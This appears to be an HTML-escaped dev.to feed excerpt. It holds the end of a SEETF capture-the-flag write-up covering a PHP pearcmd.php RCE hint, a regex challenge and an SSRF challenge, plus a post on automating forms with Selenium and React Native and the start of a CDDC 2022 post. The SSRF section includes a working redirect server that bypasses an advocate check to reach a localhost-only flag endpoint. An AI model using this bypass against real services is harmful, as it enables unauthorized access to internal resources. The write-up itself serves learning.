        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;partLength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

            &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;partLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currIdx&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nx"&gt;messageLength&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
                &lt;span class="nx"&gt;currIdx&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
(base) [hacker@hackerbook tmp]$ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How you could have potentially found out in the CTF
&lt;/h3&gt;

&lt;p&gt;Looking at the eventual flag, I realised that we could have discovered the exploit &lt;strong&gt;without&lt;/strong&gt; relying on other people exploit.&lt;/p&gt;

&lt;p&gt;Firstly, since this is a PHP web application, and CTFs generally used docker images, we could have inferred that a php container was used. &lt;/p&gt;

&lt;p&gt;I firstly tried to download the container.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/Documents/Notes/SEETF/username_gen]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;docker run &lt;span class="nt"&gt;-it&lt;/span&gt; php bash
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;kali: 
Unable to find image &lt;span class="s1"&gt;'php:latest'&lt;/span&gt; locally
latest: Pulling from library/php
42c077c10790: Pull &lt;span class="nb"&gt;complete 
&lt;/span&gt;8934009a9160: Pull &lt;span class="nb"&gt;complete 
&lt;/span&gt;5357ac116991: Pull &lt;span class="nb"&gt;complete 
&lt;/span&gt;54ae63894b5a: Pull &lt;span class="nb"&gt;complete 
&lt;/span&gt;72281f038a08: Pull &lt;span class="nb"&gt;complete 
&lt;/span&gt;9fd1b94317fe: Pull &lt;span class="nb"&gt;complete 
&lt;/span&gt;00012d9e2ea5: Pull &lt;span class="nb"&gt;complete 
&lt;/span&gt;2c220aff91be: Pull &lt;span class="nb"&gt;complete 
&lt;/span&gt;48cfe9bf9b47: Pull &lt;span class="nb"&gt;complete 
&lt;/span&gt;Digest: sha256:578dc5919121a9950174a1aa59d00815de87c767451320a527261763eafab8f0
Status: Downloaded newer image &lt;span class="k"&gt;for &lt;/span&gt;php:latest
root@f869105b6e8b:/# &lt;span class="nb"&gt;ls
&lt;/span&gt;bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@f869105b6e8b:/# &lt;span class="nb"&gt;cd&lt;/span&gt; /usr/local/lib/php/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We could then enumerate for php files. You can notice that &lt;code&gt;pearcmd.php&lt;/code&gt; is inside, which could lead to an exploit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@f869105b6e8b:/# find -name "*.php"
./usr/local/lib/php/OS/Guess.php
./usr/local/lib/php/doc/XML_Util/examples/example.php
./usr/local/lib/php/doc/XML_Util/examples/example2.php
./usr/local/lib/php/Structures/Graph.php
./usr/local/lib/php/Structures/Graph/Manipulator/AcyclicTest.php
./usr/local/lib/php/Structures/Graph/Manipulator/TopologicalSorter.php
./usr/local/lib/php/Structures/Graph/Node.php
./usr/local/lib/php/Archive/Tar.php
./usr/local/lib/php/PEAR/Config.php
./usr/local/lib/php/PEAR/DependencyDB.php
./usr/local/lib/php/PEAR/Dependency2.php
./usr/local/lib/php/PEAR/Command.php
./usr/local/lib/php/PEAR/Proxy.php
./usr/local/lib/php/PEAR/PackageFile.php
./usr/local/lib/php/PEAR/REST.php
./usr/local/lib/php/PEAR/Downloader/Package.php
./usr/local/lib/php/PEAR/Validate.php
./usr/local/lib/php/PEAR/Builder.php
./usr/local/lib/php/PEAR/Validator/PECL.php
./usr/local/lib/php/PEAR/Command/Config.php
./usr/local/lib/php/PEAR/Command/Remote.php
./usr/local/lib/php/PEAR/Command/Auth.php
./usr/local/lib/php/PEAR/Command/Test.php
./usr/local/lib/php/PEAR/Command/Mirror.php
./usr/local/lib/php/PEAR/Command/Pickle.php
./usr/local/lib/php/PEAR/Command/Registry.php
./usr/local/lib/php/PEAR/Command/Build.php
./usr/local/lib/php/PEAR/Command/Channels.php
./usr/local/lib/php/PEAR/Command/Install.php
./usr/local/lib/php/PEAR/Command/Package.php
./usr/local/lib/php/PEAR/Command/Common.php
./usr/local/lib/php/PEAR/Downloader.php
./usr/local/lib/php/PEAR/Task/Unixeol.php
./usr/local/lib/php/PEAR/Task/Postinstallscript.php
./usr/local/lib/php/PEAR/Task/Replace/rw.php
./usr/local/lib/php/PEAR/Task/Replace.php
./usr/local/lib/php/PEAR/Task/Windowseol.php
./usr/local/lib/php/PEAR/Task/Postinstallscript/rw.php
./usr/local/lib/php/PEAR/Task/Unixeol/rw.php
./usr/local/lib/php/PEAR/Task/Windowseol/rw.php
./usr/local/lib/php/PEAR/Task/Common.php
./usr/local/lib/php/PEAR/Frontend/CLI.php
./usr/local/lib/php/PEAR/Installer/Role.php
./usr/local/lib/php/PEAR/Installer/Role/Php.php
./usr/local/lib/php/PEAR/Installer/Role/Script.php
./usr/local/lib/php/PEAR/Installer/Role/Man.php
./usr/local/lib/php/PEAR/Installer/Role/Data.php
./usr/local/lib/php/PEAR/Installer/Role/Src.php
./usr/local/lib/php/PEAR/Installer/Role/Cfg.php
./usr/local/lib/php/PEAR/Installer/Role/Test.php
./usr/local/lib/php/PEAR/Installer/Role/Www.php
./usr/local/lib/php/PEAR/Installer/Role/Doc.php
./usr/local/lib/php/PEAR/Installer/Role/Ext.php
./usr/local/lib/php/PEAR/Installer/Role/Common.php
./usr/local/lib/php/PEAR/XMLParser.php
./usr/local/lib/php/PEAR/Frontend.php
./usr/local/lib/php/PEAR/ChannelFile/Parser.php
./usr/local/lib/php/PEAR/ChannelFile.php
./usr/local/lib/php/PEAR/Registry.php
./usr/local/lib/php/PEAR/ErrorStack.php
./usr/local/lib/php/PEAR/Exception.php
./usr/local/lib/php/PEAR/REST/13.php
./usr/local/lib/php/PEAR/REST/10.php
./usr/local/lib/php/PEAR/REST/11.php
./usr/local/lib/php/PEAR/PackageFile/v2/Validator.php
./usr/local/lib/php/PEAR/PackageFile/v2/rw.php
./usr/local/lib/php/PEAR/PackageFile/Generator/v1.php
./usr/local/lib/php/PEAR/PackageFile/Generator/v2.php
./usr/local/lib/php/PEAR/PackageFile/Parser/v1.php
./usr/local/lib/php/PEAR/PackageFile/Parser/v2.php
./usr/local/lib/php/PEAR/PackageFile/v1.php
./usr/local/lib/php/PEAR/PackageFile/v2.php
./usr/local/lib/php/PEAR/Installer.php
./usr/local/lib/php/PEAR/RunTest.php
./usr/local/lib/php/PEAR/Common.php
./usr/local/lib/php/PEAR/Packager.php
./usr/local/lib/php/Console/Getopt.php
./usr/local/lib/php/XML/Util.php
./usr/local/lib/php/test/XML_Util/tests/ApiVersionTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateTagFromArrayTests.php
./usr/local/lib/php/test/XML_Util/tests/AttributesToStringTests.php
./usr/local/lib/php/test/XML_Util/tests/RaiseErrorTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug21177Tests.php
./usr/local/lib/php/test/XML_Util/tests/Bug5392Tests.php
./usr/local/lib/php/test/XML_Util/tests/CreateTagTests.php
./usr/local/lib/php/test/XML_Util/tests/GetXmlDeclarationTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateCDataSectionTests.php
./usr/local/lib/php/test/XML_Util/tests/GetDocTypeDeclarationTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug21184Tests.php
./usr/local/lib/php/test/XML_Util/tests/AbstractUnitTests.php
./usr/local/lib/php/test/XML_Util/tests/IsValidNameTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug4950Tests.php
./usr/local/lib/php/test/XML_Util/tests/CreateStartElementTests.php
./usr/local/lib/php/test/XML_Util/tests/ReverseEntitiesTests.php
./usr/local/lib/php/test/XML_Util/tests/SplitQualifiedNameTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateCommentTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateEndElementTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug18343Tests.php
./usr/local/lib/php/test/XML_Util/tests/ReplaceEntitiesTests.php
./usr/local/lib/php/test/XML_Util/tests/CollapseEmptyTagsTests.php
./usr/local/lib/php/test/Structures_Graph/tests/AcyclicTestTest.php
./usr/local/lib/php/test/Structures_Graph/tests/TopologicalSorterTest.php
./usr/local/lib/php/test/Structures_Graph/tests/AllTests.php
./usr/local/lib/php/test/Structures_Graph/tests/BasicGraphTest.php
./usr/local/lib/php/pearcmd.php
./usr/local/lib/php/peclcmd.php
./usr/local/lib/php/build/gen_stub.php
./usr/local/lib/php/build/run-tests.php
./usr/local/lib/php/System.php
./usr/local/lib/php/PEAR.php
root@f869105b6e8b:/# 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We could locate the file we used in the exploit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@f869105b6e8b:/usr/local/lib/php# &lt;span class="nb"&gt;ls
&lt;/span&gt;Archive  Console  OS  PEAR  PEAR.php  Structures  System.php  XML  build  data  doc  extensions  pearcmd.php  peclcmd.php  &lt;span class="nb"&gt;test
&lt;/span&gt;root@f869105b6e8b:/usr/local/lib/php# 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Furthermore, register_argc_argv is On, which is needed for the pearcmd.php exploit&lt;/p&gt;

&lt;p&gt;This challenge taught me to look deeper, look at all parts of the infrastructure, instead of just being focused on specific techniques.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SEE{2nd_fl4g_n33ds_RCE_g00d_luck_h4x0r}
SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Misc - Regex101
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hl4uV8YQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654449136815/mZymFuyCm.png%2520align%3D%2522left%2522" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hl4uV8YQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654449136815/mZymFuyCm.png%2520align%3D%2522left%2522" alt="image.png" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;

&lt;p&gt;I copied the text file to &lt;a href="http://regexr.com"&gt;http://regexr.com&lt;/a&gt;, and used it to find the flag.&lt;/p&gt;

&lt;p&gt;My regex expression &lt;code&gt;SEE{[A-Z]{5}[0-9]{5}[A-Z]{6}}&lt;/code&gt; is quite straightforward and can be explained by regexr&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1cLlEVgK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654449095474/gfqSyG_k3.png%2520align%3D%2522left%2522" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1cLlEVgK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654449095474/gfqSyG_k3.png%2520align%3D%2522left%2522" alt="image.png" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;SEE{RGSXG13841KLWIUO}&lt;/code&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Others - SSRF
&lt;/h1&gt;

&lt;p&gt;I only solved this after the CTF (using reference), but basically, looking at the source code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from flask import Flask, request, render_template
import os
import advocate
import requests

app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def index():

    if request.method == 'POST':
        url = request.form['url']

        # Prevent SSRF
        try:
            advocate.get(url)

        except:
            return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")

        r = requests.get(url)
        return render_template('index.html', result=r.text)

    return render_template('index.html')


@app.route('/flag')
def flag():
    if request.remote_addr == '127.0.0.1':
        return render_template('flag.html', FLAG=os.environ.get("FLAG"))

    else:
        return render_template('forbidden.html'), 403


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80, threaded=True)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You notice these lines. The &lt;code&gt;advocate.get&lt;/code&gt; and &lt;code&gt;requests.get&lt;/code&gt; means that the web server is called twice. &lt;code&gt;advocate&lt;/code&gt; is protected against SSRF (you can google more about the python library), but &lt;code&gt;requests&lt;/code&gt; isn't. If only I actually read the last line in the CTF...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        try:
            advocate.get(url)

        except:
            return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")

        r = requests.get(url)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hence the goal is to create a web server where the first request bypasses advocate, but the 2nd request can redirect the client to the desired webpage, in this case &lt;code&gt;/flag&lt;/code&gt; which can only be accessed locally.&lt;/p&gt;

&lt;p&gt;Here is my code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Python 3 server example
# Copied from https://pythonbasics.org/webserver/ with minor edits
from http.server import BaseHTTPRequestHandler, HTTPServer
import time

hostName = "localhost"
serverPort = 8080


count = 0

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        global count 
        if count == 0:
            self.option1()
            count += 1
        else:
            self.option2()

    def option1(self): # Bypass advocate on first request
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(bytes("&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;https://pythonbasics.org&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;", "utf-8"))
        self.wfile.write(bytes("&amp;lt;p&amp;gt;Request: %s&amp;lt;/p&amp;gt;" % self.path, "utf-8"))
        self.wfile.write(bytes("&amp;lt;body&amp;gt;", "utf-8"))
        self.wfile.write(bytes("&amp;lt;p&amp;gt;This is an example web server.&amp;lt;/p&amp;gt;", "utf-8"))
        self.wfile.write(bytes("&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;", "utf-8"))

    def option2(self): # redirect
       self.send_response(301)
       self.send_header('Location','http://localhost/flag')
       self.end_headers()

if __name__ == "__main__":        
    webServer = HTTPServer((hostName, serverPort), MyServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I used ngrok to tunnel this web server, and submit the nrgok url to get the flag.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Automating forms with Selenium or React Native</title>
      <dc:creator>Terence Chan Zun Mun</dc:creator>
      <pubDate>Sun, 14 Aug 2022 15:59:47 +0000</pubDate>
      <link>https://dev.to/hackin7/automating-forms-with-selenium-or-react-native-5mf</link>
      <guid>https://dev.to/hackin7/automating-forms-with-selenium-or-react-native-5mf</guid>
      <description>&lt;p&gt;While serving my conscription period, I've noticed that there are quite a number of digital forms to fill up. And these are not 1-time forms, these are forms I have to fill every day. Being a problem solver myself (and a lazy one at that), I've wanted to make these forms much easier to fill up. I wanted to&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Store data in a much easier manner&lt;/li&gt;
&lt;li&gt;Process it into the data expected by the form&lt;/li&gt;
&lt;li&gt;Autofill the form&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;After some experimentation, I've figured out a few solutions&lt;/p&gt;

&lt;h1&gt;
  
  
  Selenium
&lt;/h1&gt;

&lt;p&gt;I've done some CTF challenges in June 2022 (HTB CTF, SEETF), some of which include the usage of this Python library called &lt;code&gt;selenium&lt;/code&gt; as a Web Bot. I had to read code using this library before, and I figured I could use it to automate the submission of my forms.&lt;/p&gt;

&lt;p&gt;Getting it up and running is actually quite easy. Firstly, you need to install it and its necessary dependencies. You should &lt;code&gt;pip install selenium&lt;/code&gt;, but you also need to install a Web Browser Driver. I used &lt;a href="https://sites.google.com/chromium.org/driver/downloads"&gt;ChromeDriver&lt;/a&gt;, but there is also &lt;a href=""&gt;GeckoDriver&lt;/a&gt; for Firefox.&lt;/p&gt;

&lt;p&gt;Here is a sample piece of code. it fills up a text box which you can select by the element ID and clicks an element. With these concepts you probably can make a script to autofill your own form&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from selenium import webdriver
from selenium.webdriver.common.by import By
import time

def visit_report():
    chrome_options = webdriver.ChromeOptions()
    chrome_options.add_argument("--incognito")
    client = webdriver.Chrome(chrome_options=chrome_options,
        executable_path=r"/run/media/hacker/Windows/Users/zunmu/Documents/Stuff/Linux Tools/chromedriver")
        #executable_path=r"D:\\chromedriver.exe")
    client.set_page_load_timeout(10)
    client.set_script_timeout(10)

    client.get('https://www.w3schools.com/html/html_forms.asp')
    time.sleep(3)
    ### Fill up text fields
    client.find_element_by_id("fname").send_keys("Data")
    client.find_element_by_id("lname").click()
    ### Traversing the DOM
    button = (
        client.find_element_by_id("fname")
        .find_element(by=By.XPATH,value='..')
        .find_elements_by_xpath(".//*")[-1]
    )
    button.click()
    time.sleep(300)
    client.quit()

visit_report()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Selenium Python has some useful resources like&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://selenium-python.readthedocs.io/locating-elements.html"&gt;https://selenium-python.readthedocs.io/locating-elements.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/24795198/get-all-child-elements"&gt;https://stackoverflow.com/questions/24795198/get-all-child-elements&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;One of the benefits of this is that you can use whatever libraries you want and that it's easy to code. I ended up combining Selenium and &lt;code&gt;openpyxl&lt;/code&gt;, an Excel Sheet Python Library, to read the data from an Excel Sheet and autofill a form.&lt;/p&gt;

&lt;h1&gt;
  
  
  Mobile Selenium?
&lt;/h1&gt;

&lt;p&gt;The top is great and all, but I wanted something mobile. I don't bring my laptop with me everywhere after all. My first approach was to just run my selenium code on mobile.&lt;/p&gt;

&lt;p&gt;I had previously set up Kali NetHunter on my Android Phone and was thinking if it could just run my Python Script as is. Turns out, Chrome isn't supported on my Kali NetHunter installation due to some SUID misconfiguration.&lt;/p&gt;

&lt;p&gt;I switched the driver to GeckoDriver, to take advantage of the Firefox preinstalled on &lt;code&gt;nethunter&lt;/code&gt;. I found an ARM binary &lt;a href="https://github.com/jamesmortensen/geckodriver-arm-binaries/releases"&gt;here&lt;/a&gt;, downloaded it, and updated my script with the new WebDriver like &lt;a href="https://pythonbasics.org/selenium-firefox/"&gt;here&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;It generally ended up working quite well, no need to recode everything, but &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You have to go through NetHunter, which is not a very intuitive interface. &lt;/li&gt;
&lt;li&gt;It only works on Android, and not on iOS&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I wanted a better solution so that I can share the joy of auto-filling forms with others&lt;/p&gt;

&lt;h1&gt;
  
  
  React-Native / Expo
&lt;/h1&gt;

&lt;p&gt;On a whim, I decided to search up React Native WebView, and check if it has the functionality to autofill them. I got something even better, we can inject our own custom Javascript code with the &lt;code&gt;injectedJavaScript&lt;/code&gt; prop. Referenced from &lt;a href="https://github.com/react-native-webview/react-native-webview/issues/1291"&gt;here&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;WebView 
      style={styles.container}
      source={{uri: 'https://github.com/react-native-community/react-native-webview'}}  
      javaScriptEnabled={true}
      injectedJavaScript={`document.body.style.backgroundColor = 'red';
      setTimeout(function() { window.alert('hi') }, 2000);
      true;`}    
      onMessage={(event) =&amp;gt; {}}
    /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;%[&lt;a href="http://snack.expo.dev/@hackin7/basic-webview-usage"&gt;http://snack.expo.dev/@hackin7/basic-webview-usage&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;You should take note that the code you want to run to autofill the document should probably be in &lt;code&gt;setTimeout&lt;/code&gt; to run a few seconds after the document loads (probably to give it time to load).&lt;/p&gt;

&lt;p&gt;With this, I spent a weekend working on making a Proof of Concept App to automatically fill up forms. I used &lt;code&gt;document.getElementById("&amp;lt;id&amp;gt;").value = &amp;lt;value&amp;gt;;&lt;/code&gt; and &lt;code&gt;&amp;lt;element&amp;gt;.click();&lt;/code&gt; in Javascript. Making the app is as hard as making a typical mobile app (harder than selenium, but nothing too complicated or challenging).&lt;/p&gt;

&lt;p&gt;And that's my journey towards building an Application to automatically fill up the form I need.&lt;/p&gt;

&lt;h1&gt;
  
  
  Overall
&lt;/h1&gt;

&lt;p&gt;Generally, Selenium is good for quick prototyping, while you can use React Native/ Expo to finalise a proper application.&lt;/p&gt;

&lt;p&gt;There are probably many other ways to do this. For example, the Android SDK's WebView probably has the functionality to interact with the elements, as shown &lt;a href="https://stackoverflow.com/questions/63957115/espresso-web-how-to-click-an-element-in-an-unnamed-web-view"&gt;here&lt;/a&gt;. Alternatively, you could just manually code a Python script, which could generate Javascript to paste in the Developer Console (though not the most elegant solution). &lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uv-guhMM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u6hbjs94tz5nj5hr0iv6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uv-guhMM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u6hbjs94tz5nj5hr0iv6.png" alt="Image description" width="880" height="487"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>CDDC 2022 in Thailand Outfield</title>
      <dc:creator>Terence Chan Zun Mun</dc:creator>
      <pubDate>Fri, 24 Jun 2022 06:42:49 +0000</pubDate>
      <link>https://dev.to/hackin7/cddc-2022-in-thailand-outfield-3537</link>
      <guid>https://dev.to/hackin7/cddc-2022-in-thailand-outfield-3537</guid>
      <description>&lt;p&gt;CDDC, or Cyber Defenders Discovery Camp is a Capture the Flag Competition hosted by DSTA for Singaporeans. I usually participate in the JC/IP category since my education background is as such. &lt;/p&gt;

&lt;p&gt;Last year, I did CDDC 2021 in Ex Crescendo. I overcame the odds and did it in outfield, with a spotty data signal and no laptop &lt;/p&gt;

&lt;p&gt;This year, its time for CDDC 2022 Ex Crescendo. But this time, it's in Thailand. &lt;/p&gt;

&lt;h1&gt;
  
  
  Overall
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Thoughts
&lt;/h2&gt;

&lt;p&gt;Our team, NYCP got 12th place. Not bad for 3 guys currently serving NS at the same time. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://docs.google.com/spreadsheets/d/1inUj_QOlWg61jBA6h-Rm_WdsS2N2c1954HmkXB63gfY/edit?usp=sharing"&gt;https://docs.google.com/spreadsheets/d/1inUj_QOlWg61jBA6h-Rm_WdsS2N2c1954HmkXB63gfY/edit?usp=sharing&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;This CTF was fun and good. Got to use some of my OSCP knowledge, revise some Pwning, learn about 64bit format string bugs, improve my web skills and more. Only regret is that i could have tried harder for this to aim for top 10, but oh well.&lt;/p&gt;

&lt;h2&gt;
  
  
  How we did the challenges
&lt;/h2&gt;

&lt;p&gt;For me it's the same thing as last year. The main strategies I used are&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kali Nethunter&lt;/li&gt;
&lt;li&gt;Tmate to SSH into home desktop&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, in Thailand, there are some things which are for better or for worse&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I managed to get unlimited data SIM card for 330 baht = 14SGD, which helped, as I don't have to spend time thinking about data consumption. The only limitation is that it has a cap on the data speed, but that is not important for CTFs, since they are not that data intensive&lt;/li&gt;
&lt;li&gt;Data signal is surprisingly good, even outfield

&lt;ul&gt;
&lt;li&gt;Generally 4G 2 bar or so, but very usable. &lt;/li&gt;
&lt;li&gt;This means that I can access the services anywhere, instead of waiting and trying to get signal during ration runs. &lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;Didn't dare to bring a laptop, since its a military exercise, and I didn't want to risk it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even though I'm in Thailand, it was actually easier in some ways than last year, as we were mainly preparing stuff in camp. Only in the last few hours did we move out to set up for outfield (That's when I entirely did the SPA Challenge). This is compared to last year, where I did the entire CTF outfield.&lt;/p&gt;

&lt;p&gt;Now lets move on to the challenge writeups.&lt;/p&gt;

&lt;h1&gt;
  
  
  Ring 5
&lt;/h1&gt;

&lt;h2&gt;
